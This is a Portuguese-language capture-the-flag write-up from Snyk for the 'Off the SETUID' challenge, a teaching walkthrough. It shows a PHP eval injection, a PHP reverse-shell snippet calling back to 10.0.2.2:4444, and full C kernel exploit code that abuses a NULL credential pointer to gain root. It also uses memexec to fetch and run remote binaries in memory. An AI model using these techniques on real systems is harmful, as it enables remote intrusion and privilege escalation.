Skip to main content

Snyk Fetch the Flag CTF 2023: solução do desafio Off the SETUID

Escrito por
Headshot of Carlos Polop

Carlos Polop

Headshot of Yago Gutiérrez

Yago Gutiérrez

snyk ctf off the setuid

30 de novembro de 2023

0 minutos de leitura

Obrigado por jogar Fetch com a gente! Parabéns aos milhares de participantes do Fetch the Flag CTF. Se você participou do Fetch the Flag 2023 da Snyk e está procurando a resposta para o desafio Off the SETUID, chegou ao lugar certo. Vamos conferir a solução juntos!

Você está em um ambiente desconhecido. Será que consegue se virar com o que tem à disposição? Ou será que dá para simplesmente...

Recuperar a flag do diretório pessoal do usuário root.

Que desafio estranho. É um desafio web ou um desafio de exploração do kernel?

Temos um script do qemu, um kernel compilado (com seu respectivo .diff) e uma imagem initramfs (além do código do programa init). Para começar, podemos descompactar o initramfs e dar uma olhada.

Usar uma distro ou não usar uma distro

$ zstdcat -d - < ../initramfs.img | cpio -i
172272 bloques
$ ls -l
total 48
lrwxrwxrwx 1 arget arget     8 oct 30 22:00 bin -> usr/bin/
drwxr-xr-x 2 arget arget  4096 oct 30 22:00 dev
drwxr-xr-x 2 arget arget  4096 oct 30 22:00 etc
drwxr-xr-x 2 arget arget  4096 oct 30 22:00 home
-rwxr-xr-x 1 arget arget 16264 oct 30 22:00 init
lrwxrwxrwx 1 arget arget     8 oct 30 22:00 lib64 -> /usr/lib
drwxr-xr-x 2 arget arget  4096 oct 30 22:00 proc
drwx------ 2 arget arget  4096 oct 30 22:00 root
drwxr-xr-x 2 arget arget  4096 oct 30 22:00 sys
drwxr-xr-x 4 arget arget  4096 oct 30 22:00 usr
drwxr-xr-x 3 arget arget  4096 oct 30 22:00 var
$ ls usr/bin/
php
$ ls -l root/flag.txt 
-r-------- 1 arget arget 25 oct 30 22:00 root/flag.txt

Certo, uma imagem distroless. Sem shell, sem utilitários comuns, sem nada. O programa init obviamente foi compilado (não há shell, então não pode ser um script), mas também temos o código-fonte:

// [Definition of add_dev_addr() and default_gw()]
int main()
{
	mknod("/dev/null" , 0666 | S_IFCHR, makedev(1, 3));
	mknod("/dev/ttyS0", 0660 | S_IFCHR, makedev(4, 64));

	mount("proc", "/proc", "proc" , MS_NOEXEC | MS_NODEV | MS_NOSUID, NULL);
	mount("sysfs", "/sys", "sysfs", MS_NOEXEC | MS_NODEV | MS_NOSUID, NULL);
	mount(NULL, "/", NULL, MS_REMOUNT | MS_RDONLY, NULL);

	int fd = socket(PF_INET, SOCK_DGRAM, IPPROTO_IP);
	add_dev_addr(fd, "10.0.2.15", "255.255.255.0");
	default_gw(fd, inet_addr("10.0.2.2"));
	close(fd);

	if (!fork())
	{
		setresuid(100, 100, 100);
		chdir("/var/run");
		execl("/usr/bin/php", "php", "-S", "0:8080", NULL);
		err(1, "Something failed");
	}
	wait(NULL);

	reboot(RB_POWER_OFF);
}

Ele faz o que um script init normalmente faz: inicializa alguns dispositivos, monta procfs e sysfs (com noexec), remonta o rootfs como somente leitura e inicializa a rede. Em seguida, inicia um servidor HTTP na porta 8080, com o diretório raiz em /var/run e executado como usuário com uid=100.

Em /var/run, só há um index.php:

// [CSS stuff]
<h2>Super Secure PHP Code Evaluator</h2>
<div class="container">
    <form method="post">
        <input type="text" name="code" placeholder="Enter code" required>
        <br>
        <button type="submit">Eval Code</button>
    </form>
    <?php
    if ($_SERVER['REQUEST_METHOD'] == 'POST') {
        $code = $_POST['code'];
        eval($code);
    }
    ?>
</div>
<br><br><br>
<a href="?debug">Show Source Code</a>

<?php
if (isset($_GET['debug'])) {
    highlight_file(__FILE__);
}
?>

Recapitulando: temos um servidor HTTP claramente vulnerável a injeção de código PHP. Podemos usar algo como o exemplo abaixo para obter um shell PHP interativo reverso:

$s = fsockopen("10.0.2.2", 4444);
proc_open(['php', '-a'], array(0 => $s, 1 => $s, 2 => $s), $p);

Mas não podemos ler a flag, pois ela só pode ser lida pelo root. Portanto, precisamos encontrar uma maneira de escalar privilégios. Entra em cena o fun_setuid.diff.

fun_setuid()

No arquivo .diff, vemos que um novo syscall foi adicionado ao kernel:

struct cred* prepare_user_creds(kuid_t kuid)
{
	struct cred* new;
	long retval;
	if (!uid_valid(kuid))
		return NULL;

	new = prepare_creds();
	if (!new)
		return (struct cred*) -ENOMEM;

	new->uid   = kuid;
	retval = set_user(new);
	if (retval < 0)
		goto error;
	new->euid  = kuid;
	new->suid  = kuid;
	new->fsuid = kuid;

	retval = security_task_fix_setuid(new, current_cred(), LSM_SETID_RES);
	if (retval < 0)
		goto error;

	retval = set_cred_ucounts(new);
	if (retval < 0)
		goto error;

	flag_nproc_exceeded(new);
	return new;

error:
	abort_creds(new);
	return (struct cred*) retval;
}

long __sys_fun_setuid(uid_t uid)
{
	const struct cred* old;
	struct cred* new;
	kuid_t kuid = make_kuid(current_user_ns(), uid);

	old = current_cred();

	if (uid_lt(kuid, old->uid) &&
	    !ns_capable_setid(old->user_ns, CAP_SETUID))
		return -EPERM;

	new = prepare_user_creds(kuid);
	if (new < 0)
		return (long) new;

	return commit_creds(new);
}

SYSCALL_DEFINE1(fun_setuid, uid_t, uid)
{
	return __sys_fun_setuid(uid);
}

Em resumo, esse syscall permite que um processo altere seu uid para outro valor, desde que ele seja maior que o atual (ou que o processo tenha a capacidade CAP_SETUID).

O syscall usa uma função auxiliar chamada prepare_user_creds(), que por sua vez usa prepare_cred() para alocar um novo struct cred, modificá-lo para se tornar o usuário desejado e retorná-lo. Se ocorrer um erro, ela retorna o valor negativo de um código de erro. Por isso, a função syscall verifica se o valor retornado não é negativo antes de confirmar as credenciais (veja a Observação de projeto abaixo). Ela também verifica se o uid solicitado é válido (ou seja, diferente de -1); caso contrário, retorna NULL.

Observação de projeto

Esse projeto também tem dois problemas sérios:

  • Comparar um endereço com zero em C não funciona. Simplesmente não funciona. Endereços são tratados como tipos sem sinal, então não faz sentido verificar se um deles é negativo. Por isso, o compilador remove completamente o if.

  • Mesmo que o compilador não o removesse, o código ainda não funcionaria porque, no Linux em x86, os endereços do kernel são sempre negativos. Assim, mesmo quando prep_user_creds() não encontra nenhum problema, o ponteiro struct cred* retornado por ela seria interpretado como negativo e não seria confirmado.

Credencialismo

O problema é que a função syscall não verifica essa última possibilidade e, por isso, pode confirmar um ponteiro NULL como ponteiro para nossa estrutura de credenciais. Depois de modificar o initramfs para adicionar o busybox,, podemos executar sysctl vm.mmap_min_addr para ver o endereço mínimo que um processo pode mapear neste sistema. Se precisarmos depurar mais, também temos /proc/config.gz disponível.

Vemos que mmap_min_addr=0 e que o script run.sh não habilita SMAP na VM... ótimo! Podemos mapear o endereço NULL, colocar ali uma estrutura de credenciais de root e chamar fun_setuid(-1) para fazer nosso ponteiro de credenciais apontar para NULL, ou seja, para nossas credenciais falsas.

#include <unistd.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <err.h>

#define __NR_fun_setuid 452
long fun_setuid(uid_t uid)
{
	return syscall(__NR_fun_setuid, uid);
}

struct cred
{
	int		usage;
	unsigned	uid;
	unsigned	gid;
	unsigned	suid;
	unsigned	sgid;
	unsigned	euid;
	unsigned	egid;
	unsigned	fsuid;
	unsigned	fsgid;
	unsigned	securebits;
	unsigned long	cap_inheritable;
	unsigned long	cap_permitted;
	unsigned long	cap_effective;
	unsigned long	cap_bset;
	unsigned long	cap_ambient;
	// ... pointers to stuff I don't care about
};

int main(int argc, char** argv)
{
	char buf[100];
	int fd;
	struct cred* cred = NULL;

	void* map = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
			MAP_ANON | MAP_PRIVATE | MAP_FIXED, -1, 0);
	if (map == MAP_FAILED)
		err(1, "mmap()");

	*cred = (struct cred) { 1, 0, 0, 0, 0, 0, 0, 0, -1, -1, -1, -1, -1 };

	printf("uid = %u\n", getuid());
	fun_setuid(-1);
	printf("uid = %u\n", getuid());

	fd = open("/root/flag.txt", O_RDONLY);
	write(0, buf, read(fd, buf, sizeof buf));
	close(fd);

	pause(); // If you don't look it isn't there :P
	return 0;

Não precisamos realmente alterar as capacidades, mas já que estamos aqui, podemos fazer isso para ganhar pontos extras. Mas atenção: é muito importante definir cred->usage=1 (que funciona como um contador de referências), ou o kernel vai considerar que se trata de um bug de UAF (BUG_ON(atomic_read(&new->usage) < 1)).

Também não podemos deixar esse processo terminar, senão o kernel tentará liberar essa estrutura, o que não seria nada bom. Por isso, não podemos iniciar um shell (chamar execve() acaba encerrando o processo atual); daí o pause() no final.

Mas ainda temos um problema: não podemos enviar o exploit para lugar nenhum para executá-lo. Podemos converter o exploit em shellcode e usar código PHP para gravar no arquivo mem do procfs do processo PHP, obtendo execução arbitrária de código nativo. A partir daí, podemos executar mmap() em NULL, colocar algumas credenciais falsas e chamar fun_setuid(-1), já que não podemos fazer nada disso com um script PHP…

Mas isso não é legal o bastante.

Memexec

Há alguns meses, fizemos uma palestra na DEFCON 31 sobre como contornar ambientes sem distro, em determinadas circunstâncias. Para isso, eu (Yago Gutiérrez) desenvolvi uma ferramenta chamada memexec, que permite executar qualquer programa que você quiser no PHP, sem gravá-lo em um arquivo.

Basta colar esta sessão interativa de PHP. A partir daí, você terá uma função memexec() que aceita dois argumentos: uma URI para um binário e um array com os argumentos do programa. Por exemplo, podemos configurar um servidor HTTP com busybox e executar comandos no sistema:

php > memexec("http://10.0.2.2:8888/busybox", ["ls", "-la", "/"]);
memexec("http://10.0.2.2:8888/busybox", ["ls", "-la", "/"]);
total 16
drwxr-xr-x   10 root     root           260 Oct 24 22:42 .
drwxr-xr-x   10 root     root           260 Oct 24 22:42 ..
lrwxrwxrwx    1 root     root             8 Oct 24 22:31 bin -> usr/bin/
drwxr-xr-x    2 root     root           100 Oct 31 10:39 dev
drwxr-xr-x    2 root     root           120 Oct 24 22:53 etc
drwxr-xr-x    2 root     root            40 Oct 24 18:25 home
-rwxr-xr-x    1 root     root         16264 Oct 24 22:42 init
lrwxrwxrwx    1 root     root             8 Oct 24 18:25 lib64 -> /usr/lib
dr-xr-xr-x  102 root     root             0 Oct 31 10:39 proc
drwx------    2 root     root            60 Oct 24 18:25 root
dr-xr-xr-x   12 root     root             0 Oct 31 10:39 sys
drwxr-xr-x    4 root     root            80 Oct 24 18:25 usr
drwxr-xr-x    3 root     root            60 Oct 24 18:25 var
php > memexec("http://10.0.2.2:8888/busybox", ["mount"]);
memexec("http://10.0.2.2:8888/busybox", ["mount"]);
rootfs on / type rootfs (ro,size=94428k,nr_inodes=23607)
proc on /proc type proc (rw,nosuid,nodev,noexec,relatime)
sysfs on /sys type sysfs (rw,nosuid,nodev,noexec,relatime)
php > 

Importante: não há bibliotecas SSL na VM, então não use HTTPS.

Muito bem, vamos explorar esse kernel de uma vez por todas.

php > memexec("http://10.0.2.2:8888/x", []);
memexec("http://10.0.2.2:8888/x", []);
the flag will be here...

Obrigado por fazer o Fetch acontecer!

Um enorme agradecimento a todas as equipes do Fetch the Flag 2023! Foi ótimo encontrar vocês por lá. Sempre dá para falar com a gente em @Arget (no GH, @arget13) e @carlospolop (também no GH, @carlospop).

Confira as soluções dos outros desafios de 2023. Mergulhe de cabeça!

Publicado em: